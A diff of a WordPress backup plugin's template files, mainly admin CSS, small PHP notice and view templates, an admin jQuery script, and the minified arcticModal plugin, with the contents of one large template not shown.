471
+ }
472
+ .w3{
473
+ width:7%;
474
+ }
475
+ .table-stat-moovdiv {
476
+ background: none repeat scroll 0 0 #FFFFFF;
477
+ border-spacing: 0;
478
+ box-shadow: 0 4px 4px rgba(0, 0, 0, 0.3);
479
+ left: 0px;
480
+ margin-top: 0;
481
+ padding: 10px 15px;
482
+ top: 0px;
483
+ width: 400px;
484
+ }
485
+
486
+ .table-stat-moovdiv tr td{
487
+ border-right: 0px;
488
+ margin-bottom: 1px;
489
+ margin-top: 1px;
490
+ padding-bottom: 1px;
491
+ padding-top: 1px;
492
+ border-bottom:1px solid #D6D6D6;
493
+ padding: 5px;
494
+ }
495
+
496
+ #page_item {
497
+ margin-bottom:3px;
498
+ float:left;
499
+ }
500
+ .block-export {
501
+ float: right;
502
+ margin-right: 20px;
503
+ }
504
+ .info {
505
+ width: 70%;
506
+ border: 0;
507
+ }
508
+ .setting-checkbox {
509
+ padding-left: 5px;margin-top: 5px;
510
+ }
511
+ .form-help-send-error input[type="text"], .form-help-send-error input[type="text"] {
512
+ padding: 0px;
513
+ border: 1px solid #999;
514
+ box-shadow:0px;
515
+ font-size: 12px;
516
+ height: 24px;
517
+ width: 250px;
518
+ }
519
+
520
+ .form-help-send-error, .form-help-mail-response {
521
+ float:left;
522
+ }
523
+ .form-help-mail-response .button-description {
524
+ text-align: center;
525
+ }
526
+ .show-includes {
527
+ text-align: left;
528
+ margin-left:20px;
529
+ margin-right:20px;
530
+ background: #fff;
531
+ padding: 20px;
532
+ }
533
+ #sent-error-report {
534
+ background: #fff;
535
+ width: 400px;
536
+ height: 200px;
537
+ text-align: center;
538
+ border-radius:4px;
539
+ border: 2px solid #00d2b8;
540
+ position: relative;
541
+ }
542
+ #sent-error-report .text-view {
543
+ text-align: center;
544
+ font-size: 20px;
545
+ padding-top: 50px;
546
+ line-height: 27px;
547
+ margin-bottom: 30px;
548
+ }
549
+ #sent-error-report .button-sent-report .button-wpadm {
550
+ padding: 1px 20px;
551
+ height: auto;
552
+ }
553
+ #sent-error-report .button-sent-report {
554
+ position: absolute;
555
+ bottom:0px;
556
+ padding-bottom: 30px;
557
+ width: 100%;
558
+ }
559
+
560
+ .show-includes input.input-folder[type="checkbox"] + label {
561
+ font: 18px bold;
562
+ color: #444;
563
+ cursor: pointer;
564
+ }
565
+ .show-includes input.input-folder[type="checkbox"] + label::before {
566
+ content: "";
567
+ display: inline-block;
568
+ height: 15px;
569
+ width: 18px;
570
+ margin: 0 5px 0 0;
571
+ background-image: url(folder.png);
572
+ }
573
+ .loading-img {
574
+ text-align: center;
575
+ height: 23px;
576
+ margin: 0 auto;
577
+ }
578
+ .show-includes input.checkbox-send[type="checkbox"] {
579
+ margin-top:0px;
580
+ }
581
+ .show-includes input.input-folder[type="checkbox"]:checked + label::before {
582
+ background-image: url(icon-folder-open.gif);
583
+ }
584
+ .show-includes input.input-folder[type="checkbox"]:checked:disabled + label::before {
585
+ background-image: url(icon-folder-open.gif);
586
+ }
587
+ .show-includes input.input-folder[type="checkbox"] {
588
+ display:none;
589
+ }
590
+ .tree-includes {
591
+ margin-left: 25px;
592
+ }
593
+
594
+ .form-help-mail-response {
595
+ margin-left: 20px;
596
+ }
597
+ .form-help-send-error .label-help {
598
+ float:left; width: 100px;
599
+ padding-top: 8px;
600
+ }
601
+ .border-shadow-bottom {
602
+ -webkit-box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
603
+ -moz-box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
604
+ box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
605
+ }
606
+ .info tr {
607
+ border-style: hidden;
608
+ }
609
+ .info tr td{
610
+ border-style: hidden;
611
+ padding: 5px;
612
+ text-align:left;
613
+ }
614
+ .chart-box {
615
+ background: #fff;
616
+ border:1px solid #cccccc;
617
+ border-radius:3px;
618
+ margin-top:25px;
619
+ }
620
+ .chart-box-title {
621
+ color:#575757;
622
+ border-bottom: 1px solid #cccccc;
623
+ font-size: 18px;
624
+ padding:10px;
625
+ }
626
+ .charts {
627
+ padding:5px;
628
+ padding-top: 15px;
629
+ }
630
+ .form-account {
631
+ margin-top: 30px;
632
+ margin-bottom : 40px;
633
+ border:5px solid #fff;
634
+ background: #ffffa5;
635
+ padding: 10px;
636
+ height: auto;
637
+ overflow:hidden;
638
+ }
639
+ .form-account-title {
640
+ margin-bottom: 20px;
641
+ font-size: 22px;
642
+ }
643
+ .form-account-block {
644
+ margin-left: 20px;
645
+ float:left;
646
+ width: 40%;
647
+ }
648
+ .form-account-login {
649
+ margin-top: 10px;
650
+ margin-bottom : 40px;
651
+ border:5px solid #fff;
652
+ background: #ffffa5;
653
+ padding: 3px;
654
+ height: auto;
655
+ overflow:hidden;
656
+ }
657
+
658
+ .form-account-block-login {
659
+ margin-left: 10px;
660
+ width: 90%;
661
+
662
+ }
663
+ .form-account-info {
664
+ float:left;
665
+ width: 50%;
666
+ margin-left: 20px;
667
+ }
668
+ .b_2 {
669
+ background: url("button_ok.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
670
+ color: #464646;
671
+ font-family: Arial,Helvetica,sans-serif;
672
+ font-size: 18px;
673
+ left: 12px;
674
+ padding-left: 30px;
675
+ top: 60px;
676
+ padding-top: 4px;
677
+ padding-bottom : 5px;
678
+ }
679
+ .b-3 {
680
+ font-size: 22px;
681
+ }
682
+ .form-account-button {
683
+ margin-top: 21px;
684
+ }
685
+ .label-form {
686
+ margin-left: 6px;
687
+ font-size: 16px;
688
+ }
689
+ .last {
690
+ line-height: 18px;
691
+ margin-top: 9px;
692
+ }
693
+ .progress {
694
+ height: 20px;
695
+ background: #ebebeb;
696
+ border-left: 1px solid transparent;
697
+ border-right: 1px solid transparent;
698
+ border-radius: 10px;
699
+ }
700
+ .progress > span {
701
+ position: relative;
702
+ float: left;
703
+ margin: 0 -1px;
704
+ min-width: 30px;
705
+ height: 18px;
706
+ line-height: 16px;
707
+ text-align: right;
708
+ background: #cccccc;
709
+ border: 1px solid;
710
+ border-color: #bfbfbf #b3b3b3 #9e9e9e;
711
+ border-radius: 10px;
712
+ background-image: -webkit-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
713
+ background-image: -moz-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
714
+ background-image: -o-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
715
+ background-image: linear-gradient(to bottom, #f0f0f0, #dbdbdb 70%, #cccccc);
716
+ -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
717
+ box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
718
+ }
719
+ .progress > span > span {
720
+ padding: 0 8px;
721
+ font-size: 11px;
722
+ font-weight: bold;
723
+ color: #404040;
724
+ color: rgba(0, 0, 0, 0.7);
725
+ text-shadow: 0 1px rgba(255, 255, 255, 0.4);
726
+ }
727
+ .progress > span:before {
728
+ content: '';
729
+ position: absolute;
730
+ top: 0;
731
+ bottom: 0;
732
+ left: 0;
733
+ right: 0;
734
+ z-index: 1;
735
+ height: 18px;
736
+ border-radius: 10px;
737
+ }
738
+
739
+
740
+
741
+ .stat-form-counter {
742
+ background: none repeat scroll 0 0 #0096d6;
743
+ color: #fff;
744
+ margin-bottom: 20px;
745
+ width: 46%;
746
+ margin-right: 0;
747
+ border: 0;
748
+ padding: 3px;
749
+ }
750
+ .stat-wpadm-registr-info {
751
+ color: #fff;
752
+ float: left;
753
+ width: 57%;
754
+ }
755
+ .stat-wpadm-registr-info label {
756
+ color:#fff;
757
+ }
758
+ .stat-wpadm-info-title {
759
+ color: #fff;
760
+ font-size: 20px;
761
+ padding :20px 0px;
762
+ margin-top:10px;
763
+ text-align: center;
764
+ }
765
+ .stat-table-registr {
766
+ margin-top: 20px;
767
+ }
768
+ .stat-table-registr th, .stat-table-registr td {
769
+ padding:5px;
770
+ }
771
+ .stat-wpadm-info {
772
+ width: 37%; margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
773
+ color: #fff;
774
+ float: left;
775
+ border-left: 1px solid #fff;
776
+ font-size: 12px;
777
+ margin-bottom: 20px;
778
+ padding-left: 20px;
779
+ }
780
+ .block-button-show {
781
+ padding:11px 18px; cursor: pointer; text-align: center;
782
+ }
783
+ .block-button-show .block-click {
784
+ padding-top: 10px;
785
+ font-size: 16px;
786
+ border-top:1px solid #fff;
787
+ }
788
+ .stat-setting {
789
+ border-left:1px solid #fff;
790
+ margin-right: 0px;
791
+ }
792
+ #stat-title-setting{
793
+ font-size: 20px;
794
+ margin-top: 10px;
795
+ padding: 20px 0;
796
+ text-align: center;
797
+ }
798
+ #preview-image {
799
+ height: 105px; float: left; margin-right: 10px; margin-top:45px;
800
+ }
801
+ #preview-image .block-preview-image {
802
+ padding: 10px; border: 1px solid #fff; margin-left: 10px; margin-top:20px; width: 90px; text-align: center;
803
+ }
804
+ #preview-image .title-preveiw-image {
805
+ font-size: 16px; position: absolute;margin-top: -28px; margin-left: 7px;background: #0096d6; padding: 3px;
806
+ }
807
+ #preview-image .image-block {
808
+ display: table;
809
+ }
810
+ .image-block .image-block-in {
811
+ display: table-cell; vertical-align: middle;
812
+ }
813
+ .image-block-in img {
814
+ float: left;margin-top:7px;
815
+ margin-left: 2px;
816
+ }
817
+ .image-block-in .text-image-counter {
818
+ float: left;
819
+ padding-left:3px;
820
+ font-size: 8px;
821
+ font-weight: 600;
822
+ }
823
+ #setting-form .info-block {
824
+ float: left; margin: 5px 0px 0px; width:74%;
825
+ }
826
+ #setting-form .first-info-block {
827
+ margin: 20px 0px 0px;
828
+ }
829
+ .info-block-detail {
830
+ float:left;
831
+ }
832
+ .detail-title {
833
+ margin: 0 5px; width: 30%;
834
+ }
835
+ #setting-form .info-block .details-info {
836
+ width: auto;
837
+ font-size: 10px;
838
+ margin:0px;
839
+ }
840
+ #setting-form .info-block input[type="text"] {
841
+ font-size: 14px;
842
+ height: 28px;
843
+ }
844
+ .info-block .checkbox-info {
845
+ width:101px;
846
+ text-align:right;
847
+ }
848
+ .checkbox-info input[type="checkbox"] {
849
+ margin-right: 0px;
850
+ }
851
+ .stat-setting-save {
852
+ text-align: center; margin-top: 10px;
853
+ }
854
+
855
+ /*default style */
856
+ @media only screen and (max-width: 960px) {
857
+ /*
858
+ tablet computer
859
+ */
860
+ .stat-wpadm-info {
861
+ margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
862
+ color: #fff;
863
+ float: none;
864
+ clear:both;
865
+ border-left: 0px;
866
+ border-top:1px solid #fff;
867
+ font-size: 10px;
868
+ margin-bottom: 10px;
869
+ padding-left: 0px;
870
+ width:88%;
871
+ }
872
+
873
+ .stat-table-registr th, .stat-table-registr td {
874
+ padding:2px;
875
+ font-size:10px;
876
+ }
877
+ .stat-table-registr {
878
+ margin-top: 10px;
879
+ float:none;
880
+ }
881
+ .form-table label {
882
+ color:#fff;
883
+ }
884
+ .form-table th {
885
+ line-height: 10px;
886
+ }
887
+ .stat-table-registr input {
888
+ font-size: 10px;
889
+ height: 20px;
890
+ line-height: 10px;
891
+ }
892
+ .stat-form-counter {
893
+ font-size:10px;
894
+ margin-right:5px;
895
+ }
896
+ #setting-form .info-block {
897
+ width:60%;
898
+ }
899
+ #preview-image {
900
+ height: 105px;
901
+ float: left;
902
+ margin-right: 10px;
903
+ }
904
+ .detail-title {
905
+ margin: 0 5px; width:auto;
906
+ }
907
+ #setting-form .info-block .details-info {
908
+ width: auto;
909
+ font-size: 8px;
910
+ float:none;
911
+ clear:both;
912
+ line-height: 8px;
913
+ margin-bottom:5px;
914
+
915
+ }
916
+ .info-block .checkbox-info {
917
+ width:28px;
918
+ }
919
+ #setting-form .info-block input[type="text"] {
920
+ font-size:12px;
921
+ height: 20px;
922
+ }
923
+ .minicolors-theme-default.minicolors-position-right .minicolors-input {
924
+ padding-right: 10px;
925
+ }
926
+
927
+ .minicolors-theme-default .minicolors-swatch {
928
+ height: 18px;
929
+ left: 5px;
930
+ top: 1px;
931
+ width: 18px;
932
+ }
933
+
934
+ }
935
+ @media only screen and (max-width: 1124px) {
936
+ .stat-form-counter {
937
+ font-size:10px;
938
+ margin-right:3.5%;
939
+ }
940
+ #setting-form .info-block {
941
+ width:55%;
942
+ }
943
+ #preview-image {
944
+ height: 105px;
945
+ float: left;
946
+ margin-right: 10px;
947
+ margin-top:40px;
948
+ }
949
+ .info-block input[type="text"] {
950
+ font-size:12px;
951
+ height: 20px;
952
+ }
953
+ .dbb-info-details-form {
954
+ line-height: 16px;
955
+ margin:7px;
956
+ padding:7px 11px;
957
+ font-size:14px;
958
+ }
959
+ .dbb-info-details-form .button-submit {
960
+ padding:5px;
961
+ margin-top:11px;
962
+ margin-bottom:18px;
963
+
964
+ }
965
+
966
+ }
967
+ @media only screen and (max-width: 758px) {
968
+ /*
969
+ vertical tablet computer
970
+ */
971
+ .dbb-info-details-form {
972
+ font-size:10px;
973
+ line-height: 10px;
974
+ margin:5px;
975
+ padding:5px 9px;
976
+ }
977
+ .dbb-info-details-form .button-submit {
978
+ padding:3px;
979
+ margin-top:7px;
980
+ margin-bottom:15px;
981
+ }
982
+ }
983
+ @media only screen and (max-width: 524px) {
984
+ /*phone*/
985
+ .dbb-info-details-form {
986
+ font-size:8px;
987
+ line-height: 8px;
988
+ margin:6px;
989
+ padding:5px 7px;
990
+ }
991
+ .dbb-info-details-form .button-submit {
992
+ padding:1px;
993
+ margin-top:5px;
994
+ margin-bottom:8px;
995
+ }
996
+ }
template/css/folder.png ADDED
Binary file
template/css/icon-folder-open.gif ADDED
Binary file
template/css/index.php ADDED
@@ -0,0 +1,2 @@
 
 
1
+ <?php
2
+ // bla-bla-bla-bla
template/css/tool-bar.css ADDED
@@ -0,0 +1,4 @@
 
 
 
 
1
+ .dropbox-image-toolbar a:before {
2
+ content: url('./../../img/wpadm-logo.png');
3
+ /*background-image: ;*/
4
+ }
template/dropbox_pro_logo_box1.png ADDED
Binary file
template/expsys.php ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ $str = '';
3
+ foreach($data['sys'] as $key => $value) {
4
+ $str .= $value['function'];
5
+ }
6
+ ?>
7
+ <script>
8
+ function showView()
9
+ {
10
+ if(jQuery('.body-functions-view').css('display') == 'none') {
11
+ jQuery('.body-functions-view').show('slow');
12
+ } else {
13
+ jQuery('.body-functions-view').hide('slow');
14
+ }
15
+ }
16
+ </script>
17
+ <div class="functions-view">
18
+ <div class="title-functions-view" onclick="showView();">
19
+ <?php echo $str; ?>
20
+ </div>
21
+ <div class="body-functions-view">
22
+ <?php echo $functions_need; ?>
23
+ </div>
24
+ </div>
25
+ <?php
template/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
template/js/admin-wpadm.js ADDED
@@ -0,0 +1,63 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ function showTab (elem, type)
2
+ {
3
+ jQuery('.cfTab').removeClass('selected');
4
+ jQuery('.cfContentContainer').hide();
5
+ jQuery(elem).addClass('selected');
6
+ jQuery('#cf_' + type).fadeIn();
7
+ }
8
+
9
+ var shows_id = ""
10
+ var shows_t = ""
11
+ function shows(id, t)
12
+ {
13
+ if(document.getElementById(id).style.display == "none") {
14
+ document.getElementById(id).style.display = "table-row";
15
+ jQuery(t).parent("tr").addClass('border-shadow-bottom');
16
+ if (shows_id == "") {
17
+ shows_id = id;
18
+ shows_t = t;
19
+ } else {
20
+ if(shows_id != id) {
21
+ document.getElementById(shows_id).style.display = "none";
22
+ jQuery(shows_t).parent("tr").removeClass('border-shadow-bottom');
23
+ }
24
+ shows_id = id;
25
+ shows_t = t;
26
+ }
27
+ } else if(document.getElementById(id).style.display == "table-row") {
28
+ document.getElementById(id).style.display = "none";
29
+ jQuery(t).parent("tr").removeClass('border-shadow-bottom');
30
+ }
31
+ }
32
+ var bl = false;
33
+ function show_form_auth(file_val)
34
+ {
35
+ if (file_val == 'registr') {
36
+ showRegistInfo(false);
37
+ if (bl === false) {
38
+ blick('container-user');
39
+ bl = true;
40
+ }
41
+ } else {
42
+ html = '<input type="hidden" value="' + file_val +'" name="internal_identifier">';
43
+ jQuery('#form_auth_backup').html(html);
44
+ document.form_auth_backup.submit();
45
+ }
46
+ }
47
+ var blick_form = true;
48
+ function blick(id, border_)
49
+ {
50
+ if (border_ == 'undefined') {
51
+ border_ = 10;
52
+ }
53
+ jQuery('#' + id).css({
54
+ outline: "0px solid #cd433d",
55
+ border: "0px"
56
+ }).animate({
57
+ outlineWidth: border_ + 'px',
58
+ outlineColor: '#cd433d'
59
+ }, 400).animate({outlineWidth: '0px',outlineColor: '#cd433d' } , 400);
60
+ if (blick_form) {
61
+ setTimeout('blick("' + id + '", ' + border_ + ')', 800);
62
+ }
63
+ }
template/js/index.php ADDED
@@ -0,0 +1,2 @@
 
 
1
+ <?php
2
+ // bla-bla-bla-bla
template/js/jquery.arcticmodal-0.3.css ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
1
+ .arcticmodal-overlay,
2
+ .arcticmodal-container { position: fixed; left: 0; top: 0; right: 0; bottom: 0; z-index: 99999; }
3
+ .arcticmodal-container { overflow: auto; margin: 0; padding: 0; border: 0; border-collapse: collapse; }
4
+ *:first-child+html .arcticmodal-container { height: 100% }
5
+ .arcticmodal-container_i { height: 100%; margin: 0 auto;background: none;border:none; }
6
+ .arcticmodal-container_i2 { padding: 24px; margin: 0; border: 0; vertical-align: middle; }
7
+ .arcticmodal-error { padding: 20px; border-radius: 10px; background: #000; color: #fff; }
8
+ .arcticmodal-loading { width: 80px; height: 80px; border-radius: 10px; background: #000 url(loading.gif) no-repeat 50% 50%; }
template/js/jquery.arcticmodal-0.3.min.js ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+
3
+ arcticModal — jQuery plugin
4
+ Version: 0.3
5
+ Author: Sergey Predvoditelev (sergey.predvoditelev@gmail.com)
6
+ Company: Arctic Laboratory (http://arcticlab.ru/)
7
+
8
+ Docs & Examples: http://arcticlab.ru/arcticmodal/
9
+
10
+ */
11
+ (function(d){var g={type:"html",content:"",url:"",ajax:{},ajax_request:null,closeOnEsc:!0,closeOnOverlayClick:!0,clone:!1,overlay:{block:void 0,tpl:'<div class="arcticmodal-overlay"></div>',css:{backgroundColor:"#000",opacity:0.6}},container:{block:void 0,tpl:'<div class="arcticmodal-container"><table class="arcticmodal-container_i"><tr><td class="arcticmodal-container_i2"></td></tr></table></div>'},wrap:void 0,body:void 0,errors:{tpl:'<div class="arcticmodal-error arcticmodal-close"></div>',autoclose_delay:2E3,
12
+ ajax_unsuccessful_load:"Error"},openEffect:{type:"fade",speed:400},closeEffect:{type:"fade",speed:400},beforeOpen:d.noop,afterOpen:d.noop,beforeClose:d.noop,afterClose:d.noop,afterLoading:d.noop,afterLoadingOnShow:d.noop,errorLoading:d.noop},j=0,e=d([]),m={isEventOut:function(a,b){var c=!0;d(a).each(function(){d(b.target).get(0)==d(this).get(0)&&(c=!1);0==d(b.target).closest("HTML",d(this).get(0)).length&&(c=!1)});return c}},f={getParentEl:function(a){var b=d(a);return b.data("arcticmodal")?b:(b=
13
+ d(a).closest(".arcticmodal-container").data("arcticmodalParentEl"))?b:!1},transition:function(a,b,c,e){e=void 0==e?d.noop:e;switch(c.type){case "fade":"show"==b?a.fadeIn(c.speed,e):a.fadeOut(c.speed,e);break;case "none":"show"==b?a.show():a.hide(),e()}},prepare_body:function(a,b){d(".arcticmodal-close",a.body).unbind("click.arcticmodal").bind("click.arcticmodal",function(){b.arcticmodal("close");return!1})},init_el:function(a,b){var c=a.data("arcticmodal");if(!c){c=b;j++;c.modalID=j;c.overlay.block=
14
+ d(c.overlay.tpl);c.overlay.block.css(c.overlay.css);c.container.block=d(c.container.tpl);c.body=d(".arcticmodal-container_i2",c.container.block);b.clone?c.body.html(a.clone(!0)):(a.before('<div id="arcticmodalReserve'+c.modalID+'" style="display: none" />'),c.body.html(a));f.prepare_body(c,a);c.closeOnOverlayClick&&c.overlay.block.add(c.container.block).click(function(b){m.isEventOut(d(">*",c.body),b)&&a.arcticmodal("close")});c.container.block.data("arcticmodalParentEl",a);a.data("arcticmodal",c);
15
+ e=d.merge(e,a);d.proxy(h.show,a)();if("html"==c.type)return a;if(void 0!=c.ajax.beforeSend){var k=c.ajax.beforeSend;delete c.ajax.beforeSend}if(void 0!=c.ajax.success){var g=c.ajax.success;delete c.ajax.success}if(void 0!=c.ajax.error){var l=c.ajax.error;delete c.ajax.error}var n=d.extend(!0,{url:c.url,beforeSend:function(){void 0==k?c.body.html('<div class="arcticmodal-loading" />'):k(c,a)},success:function(b){a.trigger("afterLoading");c.afterLoading(c,a,b);void 0==g?c.body.html(b):g(c,a,b);f.prepare_body(c,
16
+ a);a.trigger("afterLoadingOnShow");c.afterLoadingOnShow(c,a,b)},error:function(){a.trigger("errorLoading");c.errorLoading(c,a);void 0==l?(c.body.html(c.errors.tpl),d(".arcticmodal-error",c.body).html(c.errors.ajax_unsuccessful_load),d(".arcticmodal-close",c.body).click(function(){a.arcticmodal("close");return!1}),c.errors.autoclose_delay&&setTimeout(function(){a.arcticmodal("close")},c.errors.autoclose_delay)):l(c,a)}},c.ajax);c.ajax_request=d.ajax(n);a.data("arcticmodal",c)}},init:function(a){a=
17
+ d.extend(!0,{},g,a);if(d.isFunction(this))if(void 0==a)d.error("jquery.arcticmodal: Uncorrect parameters");else if(""==a.type)d.error('jquery.arcticmodal: Don\'t set parameter "type"');else switch(a.type){case "html":if(""==a.content){d.error('jquery.arcticmodal: Don\'t set parameter "content"');break}var b=a.content;a.content="";return f.init_el(d(b),a);case "ajax":if(""==a.url){d.error('jquery.arcticmodal: Don\'t set parameter "url"');break}return f.init_el(d("<div />"),a)}else return this.each(function(){f.init_el(d(this),
18
+ d.extend(!0,{},a))})}},h={show:function(){var a=f.getParentEl(this);if(!1===a)d.error("jquery.arcticmodal: Uncorrect call");else{var b=a.data("arcticmodal");b.overlay.block.hide();b.container.block.hide();d("BODY").append(b.overlay.block);d("BODY").append(b.container.block);b.beforeOpen(b,a);a.trigger("beforeOpen");if("hidden"!=b.wrap.css("overflow")){b.wrap.data("arcticmodalOverflow",b.wrap.css("overflow"));var c=b.wrap.outerWidth(!0);b.wrap.css("overflow","hidden");var g=b.wrap.outerWidth(!0);g!=
19
+ c&&b.wrap.css("marginRight",g-c+"px")}e.not(a).each(function(){d(this).data("arcticmodal").overlay.block.hide()});f.transition(b.overlay.block,"show",1<e.length?{type:"none"}:b.openEffect);f.transition(b.container.block,"show",1<e.length?{type:"none"}:b.openEffect,function(){b.afterOpen(b,a);a.trigger("afterOpen")});return a}},close:function(){if(d.isFunction(this))e.each(function(){d(this).arcticmodal("close")});else return this.each(function(){var a=f.getParentEl(this);if(!1===a)d.error("jquery.arcticmodal: Uncorrect call");
20
+ else{var b=a.data("arcticmodal");!1!==b.beforeClose(b,a)&&(a.trigger("beforeClose"),e.not(a).last().each(function(){d(this).data("arcticmodal").overlay.block.show()}),f.transition(b.overlay.block,"hide",1<e.length?{type:"none"}:b.closeEffect),f.transition(b.container.block,"hide",1<e.length?{type:"none"}:b.closeEffect,function(){b.afterClose(b,a);a.trigger("afterClose");b.clone||d("#arcticmodalReserve"+b.modalID).replaceWith(b.body.find(">*"));b.overlay.block.remove();b.container.block.remove();a.data("arcticmodal",
21
+ null);d(".arcticmodal-container").length||(b.wrap.data("arcticmodalOverflow")&&b.wrap.css("overflow",b.wrap.data("arcticmodalOverflow")),b.wrap.css("marginRight",0))}),"ajax"==b.type&&b.ajax_request.abort(),e=e.not(a))}})},setDefault:function(a){d.extend(!0,g,a)}};d(function(){g.wrap=d(document.all&&!document.querySelector?"html":"body")});d(document).bind("keyup.arcticmodal",function(a){var b=e.last();b.length&&b.data("arcticmodal").closeOnEsc&&27===a.keyCode&&b.arcticmodal("close")});d.arcticmodal=
22
+ d.fn.arcticmodal=function(a){if(h[a])return h[a].apply(this,Array.prototype.slice.call(arguments,1));if("object"===typeof a||!a)return f.init.apply(this,arguments);d.error("jquery.arcticmodal: Method "+a+" does not exist")}})(jQuery);
template/not-ok.png ADDED
Binary file
template/notice.php ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
1
+ <div class="clear"></div>
2
+ <div class="update-nag" style="width: 95%;">
3
+ <?php langWPADM::get('Professional version of'); ?>
4
+ "<a href="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"); ?>" title="<?php langWPADM::get('Dropbox backup and restore"')?>" alt="<?php langWPADM::get('Dropbox backup and restore')?>"><?php langWPADM::get('Dropbox backup and restore')?></a>"
5
+ <?php langWPADM::get(' plugin is now available!'); ?>
6
+ <a href="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"); ?>" title="<?php langWPADM::get('Read more...')?>" alt="<?php langWPADM::get('Read more...')?>"><?php langWPADM::get('Read more...')?></a>
7
+ <a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=preview' ); ?>" style="float: right; font-size: 12px;">[<?php langWPADM::get('hide this message')?>]</a>
8
+ </div>
template/notice5.php ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ <div class="clear"></div>
2
+ <div class="updated notice" style="width: 95%;">
3
+ <p>
4
+ <?php echo str_replace("%s", $time, langWPADM::get('You use Dropbox backup and restore plugin successfully for more than %s. Please, leave a 5 star review for our development team, because it inspires us to develop this plugin for you.', false )) ; ?><br />
5
+ <?php langWPADM::get('Thank you!')?>
6
+ <br />
7
+ <a href="https://wordpress.org/support/view/plugin-reviews/dropbox-backup?filter=5" ><?php langWPADM::get('Leave review'); ?></a><br />
8
+ <a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=star' );?>"><?php langWPADM::get('I already left a review'); ?></a><br />
9
+ <a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=star&hide=' . $hide );?>"><?php langWPADM::get('Hide this message'); ?></a><br />
10
+ </p>
11
+ </div>
template/ok-icon.png ADDED
Binary file
template/ok.png ADDED
Binary file
template/wpadm_show_backup.php ADDED
@@ -0,0 +1,1345 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
